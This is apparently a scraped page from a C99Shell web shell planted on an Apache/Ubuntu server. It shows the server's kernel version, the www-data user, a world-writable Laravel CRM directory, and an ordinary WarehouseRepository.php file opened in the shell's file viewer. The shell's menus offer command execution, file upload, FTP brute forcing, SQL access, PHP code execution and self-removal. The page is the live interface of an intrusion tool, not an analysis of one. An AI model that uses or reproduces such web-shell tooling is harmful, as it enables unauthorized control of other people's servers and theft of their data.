!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Warehouse/src/Repositories/   drwxrwxrwx
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WarehouseRepository.php (2.38 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Warehouse\Repositories;

use 
Illuminate\Container\Container;
use 
Webkul\Attribute\Repositories\AttributeRepository;
use 
Webkul\Attribute\Repositories\AttributeValueRepository;
use 
Webkul\Core\Eloquent\Repository;
use 
Webkul\Warehouse\Contracts\Warehouse;

class 
WarehouseRepository extends Repository
{
    
/**
     * Searchable fields.
     */
    
protected $fieldSearchable = [
        
'name',
        
'contact_name',
        
'contact_emails',
        
'contact_numbers',
        
'contact_address',
    ];

    
/**
     * Create a new repository instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
AttributeRepository $attributeRepository,
        protected 
AttributeValueRepository $attributeValueRepository,
        
Container $container
    
) {
        
parent::__construct($container);
    }

    
/**
     * Specify model class name.
     *
     * @return mixed
     */
    
public function model()
    {
        return 
Warehouse::class;
    }

    
/**
     * Create.
     *
     * @return \Webkul\Warehouse\Contracts\Warehouse
     */
    
public function create(array $data)
    {
        
$warehouse parent::create($data);

        
$this->attributeValueRepository->save(array_merge($data, [
            
'entity_id' => $warehouse->id,
        ]));

        return 
$warehouse;
    }

    
/**
     * Update.
     *
     * @param  int  $id
     * @param  array  $attribute
     * @return \Webkul\Warehouse\Contracts\Warehouse
     */
    
public function update(array $data$id$attributes = [])
    {
        
$warehouse parent::update($data$id);

        
/**
         * If attributes are provided then only save the provided attributes and return.
         */
        
if (! empty($attributes)) {
            
$conditions = ['entity_type' => $data['entity_type']];

            if (isset(
$data['quick_add'])) {
                
$conditions['quick_add'] = 1;
            }

            
$attributes $this->attributeRepository->where($conditions)
                ->
whereIn('code'$attributes)
                ->
get();

            
$this->attributeValueRepository->save(array_merge($data, [
                
'entity_id' => $warehouse->id,
            ]), 
$attributes);

            return 
$warehouse;
        }

        
$this->attributeValueRepository->save(array_merge($data, [
            
'entity_id' => $warehouse->id,
        ]));

        return 
$warehouse;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--